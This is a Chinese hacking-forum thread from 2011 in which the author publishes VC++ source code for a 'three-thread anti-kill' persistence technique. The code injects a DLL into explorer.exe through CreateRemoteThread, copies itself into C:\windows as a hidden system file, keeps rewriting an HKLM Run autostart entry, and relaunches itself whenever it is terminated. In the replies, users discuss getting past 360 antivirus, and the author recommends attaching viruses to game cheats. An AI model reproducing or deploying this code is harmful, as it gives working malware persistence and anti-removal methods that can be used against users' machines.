liuqiangni 发表于 2011-3-29 17:10:27

关于三线程防杀的思路和VC代码

本帖最后由 liuqiangni 于 2011-3-29 17:18 编辑

[前言]
无意中在网上看到了一个帖子关于三线程的问题,我觉得其思路十分巧妙,加之我学HOOK技术也有一段时间了,于是就想看看到底是怎么实现的,那帖子说的不十分清楚,说有源码的,在网上搜确实有源码存在,但是下载都要先注册,然后还有什么下载豆啊,什么的,反正就是不让你下.注册了几个号,都下载不了.在看雪上面搜了一下,倒是有一篇文章是关于三线程的,不过时Dephi写的,我没学Dephi,也就没有看他的文章.
文章地址:http://bbs.pediy.com/showthread.php?t=42594&highlight=%E4%B8%89%E7%BA%BF+%E7%BA%BF%E7%A8%8B+%E7%A8%8B
想着自己编程也这么久了,索性自己来写,于是就写了这篇文章出来,算是整理一下这些天的思路了吧!
[原作者思路思路很巧妙,我很佩服](本人在上面花了很大功夫,关键代码绝对原创,特申请[精华])

我们有一个主进程Main.exe 和一个DLL文件 KernelSoft.DLL,Main.exe启动的时候,会查看C:\\windows\\下面有没有我们的2个文件,如果没有就复制当前文件夹的文件过去,并设置为系统文件并隐藏,我们会查找我们注入的进程中有没有KernelSoft.dll,如果没有,那么表示我是第一次启动Main.exe,我们注入KernelSoft..然后会创建一个线程Watch 监视注册表和远程线程..

Kernelsoft.dll 只做一件事,就是创建1个线程监视我们的Main.exe是否还存在于进程中,如果不存在,那么就启动Main.exe,实现防杀的功能,我们把DLL注入到Explorer.exe中,当然你也可以注入到几个进程中,或者注入到别的进程中,我这里只是演示,文章中有些地方是直接硬编码的,方便一些,当然这些地方你都可以很容易的看到,并且修改,以便兼容你的电脑.

Watch线程监视我们的开机启动项,如果该项被删除掉,它会立即重新写入注册表.并且如果你发现我们的Main.exe注入到explorer.exe后,你试图关闭explorer.exe,那我会告诉你,关闭后,当explorer.exe再次出现的时候,我们的程序还是会注入到explorer.exe中的.
下面给源码吧:
我的注释还算比较详细的,尽量让大家都很容易的明白我在做什么.

先给3个函数:
在SourseHead.h中定义的

#include <Tlhelp32.h>
//提权
bool EnablePrivilege(char*PrivilegeName,BOOL IsEnable)

{       
        HANDLE hToken;
       
        TOKEN_PRIVILEGES tp;
       
        LUID luid;       
       
        if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |
               
                TOKEN_QUERY | TOKEN_READ,&hToken))
               
        {
               
                return false;
               
        }
               
        if(!LookupPrivilegeValue(NULL, PrivilegeName, &luid))
               
        {
               
                return false;
               
        }
               
        tp.PrivilegeCount         = 1;
       
        tp.Privileges.Luid       = luid;
       
        tp.Privileges.Attributes = (IsEnable) ? SE_PRIVILEGE_ENABLED : 0;       
       
        BOOL bSucc = AdjustTokenPrivileges(hToken,FALSE,&tp,NULL,NULL,NULL);       
       
        CloseHandle(hToken);
       
        return (GetLastError() == ERROR_SUCCESS);
       
}



//获取PID值
BOOL GetProcessIdByName(LPSTR szProcessName,LPDWORD lpPID)//PID是我们要传出去的指针变量
{
//变量及初始化
STARTUPINFO st;
PROCESS_INFORMATION pi;
PROCESSENTRY32 ps;
HANDLE hSnapshot;
ZeroMemory(&st,sizeof(STARTUPINFO));
ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
st.cb = sizeof(STARTUPINFO);
ZeroMemory(&ps,sizeof(PROCESSENTRY32));
ps.dwSize = sizeof(PROCESSENTRY32);
//遍历进程
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
    return FALSE;
}
if (!Process32First(hSnapshot,&ps))
{
    return FALSE;
}

do
{
    //比较进程名
    if (lstrcmpi(ps.szExeFile,szProcessName) == 0)
    {
      //找到了
      *lpPID = ps.th32ProcessID;
      CloseHandle(hSnapshot);
      return TRUE;
    }
} while (Process32Next(hSnapshot,&ps));
//没有找到
CloseHandle(hSnapshot);
return FALSE;
}




//注入函数
//pid我们的目标PID
//szMyDll我们需要注入的DLL
HANDLE InjeckDll(DWORD pid,CString szMyDll)
{
        EnablePrivilege(SE_DEBUG_NAME,true);
        HANDLE hand = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
        LPVOID Address = NULL;
        PSTR pszLibFileRemote=(PSTR)VirtualAllocEx(hand,NULL,szMyDll.GetLength()+1,MEM_COMMIT,PAGE_READWRITE);
        ::WriteProcessMemory(hand,pszLibFileRemote,szMyDll.GetBuffer(0),szMyDll.GetLength()+1,NULL);
        HMODULE hmod= ::GetModuleHandle("Kernel32");
        szMyDll.ReleaseBuffer();
        PTHREAD_START_ROUTINE point= (PTHREAD_START_ROUTINE)::GetProcAddress(hmod,"LoadLibraryA");

        //创建远程线程执行LoadLibraryA 注入我们自己的DLL文件
        HANDLE handr= CreateRemoteThread(hand,NULL,0,point,(LPVOID)pszLibFileRemote,0,NULL);
        WaitForSingleObject(handr,INFINITE);
       
        EnablePrivilege(SE_DEBUG_NAME,false);//还原权限
        return handr;

}

这3个函数想必大家都还是比较傲熟悉的,我就不多说了,如果有不懂的也可以Email问我,

Email:[email protected]

PYG_liuqiangni

中间插点版权小广告好像是NBW 首创的,小弟只是算沿用了一下,呵呵


我定义了几个宏 后面会用到,大家先看看
//宏定义 部分字符串
#defineDesName "explorer.exe"
#defineDesMainName "C:\\windows\\Main.exe"
#defineDesDllName "C:\\windows\\KernelSoft.dll"
/////////////////////////////////////////////////

下面给出 Watch线程
BOOL Watch(LPVOID pvparam)//这个参数没有什么用,是我刚开始的时候加的,就没有删掉
{
        HANDLE    wethread=(HANDLE)pvparam;
        HKEY            hkey;
        TCHAR             wtname = "C:\\windows\\Main.exe";//这个是写入注册表的路径
        TCHAR             lpdata;
        LPCTSTR         rgspath=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
        DWORD             type=REG_SZ;
        DWORD             dwbuflen=MAX_PATH;
        int               ret;

        while(1)
        {   
                ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_QUERY_VALUE,&hkey);//打开注册表
                if(ret!=ERROR_SUCCESS)
                {
                        OutputDebugString(_T("RegOpenKeyEx for KEY_QUERY_VALUE Error\n"));//调试信息不用管
                        break;
                }
                ret=RegQueryValueEx(hkey,"Main.exe",NULL,NULL,(LPBYTE)lpdata,&dwbuflen);//查找有没有Main.exe
                RegCloseKey(hkey);
                if(ret!=ERROR_SUCCESS)
                {
                        ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_WRITE,&hkey);
                        if(ret!=ERROR_SUCCESS)
                        {
                                OutputDebugString(_T("RegOpenKeyEx for KEY_WRITE Error\n"));
                                break;
                        }
                        //如果没有就重新写入我们的Main.exe
                        ret=RegSetValueEx(hkey,"Main.exe",NULL,type,(const byte *)wtname,dwbuflen);
                        RegCloseKey(hkey);
                        if(ret!=ERROR_SUCCESS)
                        {
                                OutputDebugString(_T("RegSetValueEx Error\n"));
                                break;
                        }
                }
       
               
                        //下面的代码表示如果explorer.exe中没有我们的模块,我们重新注入
                        DWORD pid =0;
                        GetProcessIdByName("explorer.exe",&pid);//我们选择注入Explorer.exe
                        HANDLE DesProcess = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
                        if (!EnumMoudle(DesProcess,"KernelSoft.dll"))//自定义函数,查找模块
                        {
                                InjeckDll(pid,DesDllName);//自定义函数,注入
                        }
                               

       
                Sleep(1000);       
        }
        return 0;
       

}
下面给出设置文件属性并复制文件的函数:(注释也很清楚了)
//在Windows下寻找我自己的模块,找不到就复制我自己的模块过去
/*
LookFileName[]    Windows下的模块C:\\windows\\Main.exe
name[]                将要复制到C盘的模块的地址,就是当前文件夹的路径

*/
void SetFile(char LookFileName[],char name[])
{
        BOOL sign = FALSE;//是否找到我需要的文件
        CFileFind ff;
        BOOL work = ff.FindFile("C:\\windows\\");//查找的文件路径,我是硬编码的
        while(work)
        {
                work = ff.FindNextFile();
                CString filepath = ff.GetFilePath();//得到文件的完整路径
                CString MainName;
                MainName.Format("%s",LookFileName);
                if (filepath == MainName)
                {
                        sign = TRUE;
                        break;
                }
       
        }
        ff.Close();
        if (!sign)//如果没找到,那么复制我自己的文件过去
        {
               
                CopyFile(name,LookFileName,FALSE);//把文件复制到C:\\windows下
                //设置文件属性
                SetFileAttributes(LookFileName,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);
               
        }
       
       

}

上面的查找文件的代码在我写U盘偷窥者的时候也有用到,不过那个比这个复杂,不是很清楚的同学可以看看我以前的文章
U盘偷窥者的地址:http://bbs.pediy.com/showthread.php?t=127663

下面给出遍历模块的函数:
这次我没有用CreateToolhelp32Snapshot,因为那个用过很多次了,要有新的尝试才会进步嘛
所以我用了两个我不是很熟习的函数EnumProcessModules和GetModuleBaseName
大家不懂的可以上Google 或Msdn上面查查.
注意:这几个函数要#pragma   comment(lib,"Psapi.lib") 还要有头文件

#include <Psapi.h>

//遍历模块
BOOL EnumMoudle(HANDLE DesProcess,char MoudleName[])
{
        HMODULE hmod;
        DWORD dwMod;
        char BaseName;
        EnumProcessModules(DesProcess,hmod,sizeof(hmod),&dwMod);
        for (int i = 0;hmod!=0;i++)
        {
                GetModuleBaseName(DesProcess,hmod,BaseName,MAX_PATH);
                if(stricmp(MoudleName,BaseName)==0)
                        return TRUE;
        }
        return FALSE;
}
现在给出主要的函数,他调用这一切的子函数....
void InitiaMain()   //相当于初始化工作,我们后面的函数都是在这里面调用的
{
        HANDLE g_Hthread;
       
        DWORD idthread;
        DWORD pid =0;
        char MainPath;
        char DLLPath;
        //复制我们的2个文件到C:\\windows\\下面
        GetModuleFileName(NULL,MainPath,MAX_PATH);
        SetFile(DesMainName,MainPath);
        GetCurrentDirectory(MAX_PATH,DLLPath);
        strcat(DLLPath,"\\KernelSoft.dll");
        SetFile(DesDllName,DLLPath);

        GetProcessIdByName("explorer.exe",&pid);//我们选择注入Explorer.exe
        HANDLE DesProcess = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
        if (!EnumMoudle(DesProcess,"KernelSoft.dll"))
        {//如果我们的模块不存在目标进程中,那么重新注入
                g_Hthread=InjeckDll(pid,DesDllName);
       
        }
        //创建监视线程Watch
        HANDLE wehand = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Watch,(LPVOID)g_Hthread,0,&idthread);
}

下面我们来看我们的 kernelSoft.dll模块的代码
//KernelSoft.cpp
//这里注释得还算清楚
#include "stdafx.h"
#include <Tlhelp32.h>



//***********************
//全局数据区
HMODULE g_hmod = NULL;
DWORD g_idthread;
//***********************
//函数区
void WatchMainProcess();
BOOL FindMainProcess(LPSTR szProcessName);
//***********************
//我们的主函数
BOOL APIENTRY DllMain( HMODULE hMod,
                      DWORDul_reason_for_call,
                      LPVOID lpReserved
                      )
{
        if( DLL_PROCESS_ATTACH == ul_reason_for_call )
        {
                g_hmod = hMod;
                HANDLE hand= CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WatchMainProcess,(LPVOID)NULL,0,&g_idthread);

        }
        else if( DLL_PROCESS_DETACH == ul_reason_for_call )
        {

        }

       
        return TRUE;
}

void WatchMainProcess()
{

        while (1)
        {
        if (!FindMainProcess("Main.exe"))//我们的主线程是Main.exe
        {
                WinExec("C:\\Windows\\Main.exe",SW_HIDE);

        }
        Sleep(500);       
        }

}

BOOL FindMainProcess(LPSTR szProcessName)
{
        //变量及初始化
        STARTUPINFO st;
        PROCESS_INFORMATION pi;
        PROCESSENTRY32 ps;
        HANDLE hSnapshot;
        ZeroMemory(&st,sizeof(STARTUPINFO));
        ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
        st.cb = sizeof(STARTUPINFO);
        ZeroMemory(&ps,sizeof(PROCESSENTRY32));
        ps.dwSize = sizeof(PROCESSENTRY32);
        //遍历进程
        hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
        if (hSnapshot == INVALID_HANDLE_VALUE)
        {
                return FALSE;
        }
        if (!Process32First(hSnapshot,&ps))
        {
                return FALSE;
        }
       
        do
        {
                //比较进程名
                if (lstrcmpi(ps.szExeFile,szProcessName) == 0)//查找我们的进程,如果没有就启动主进程
                {
                        //找到了
                        CloseHandle(hSnapshot);
                        return TRUE;
                }
        } while (Process32Next(hSnapshot,&ps));
        //没有找到       
        CloseHandle(hSnapshot);
        return FALSE;
}



这样我们的三线程防杀就完成了,写了一下午,手都写麻了,大家看了,就给点评价吧.

因为本代码有病毒或者木马的一些特征,杀毒软件肯定会报毒.本软件没有实质性的功能,只是作为一种思路的交流.
声明:本代码仅作为技术交流,请勿用于非法用途,因为本代码造成的任何后果,作者不承担任何责任,如果你不同意,请不要使用本代码,谢谢.

附件在后面,也有详细的注释...



}

sdrf5678lk 发表于 2011-4-2 12:13:46

我在看雪就看到你发了这个帖子~~~~~~~~
哈哈~~~/:018

liuqiangni 发表于 2011-4-2 12:18:55

回复 2# sdrf5678lk


    恩,因为这个2个论坛我经常都来,所以发帖子就同时在2个论坛一起发咯,帖子是自己写的,也就没有版权的规定咯,呵呵

wangruichang 发表于 2011-4-4 10:45:13

可是还是过不去360监控,一出现注入类似的,肯定拦截你

liuqiangni 发表于 2011-4-4 19:36:33

可是还是过不去360监控,一出现注入类似的,肯定拦截你
wangruichang 发表于 2011-4-4 10:45 https://www.chinapyg.com/images/common/back.gif


    这个肯定,你注入的话,不管是谁,360肯定拦截,这个要想其他的方法了.所以说 病毒附加在外挂上面就很好

foxjinlin 发表于 2011-5-19 04:03:58

支持一下

文章不错
页: [1]
查看完整版本: 关于三线程防杀的思路和VC代码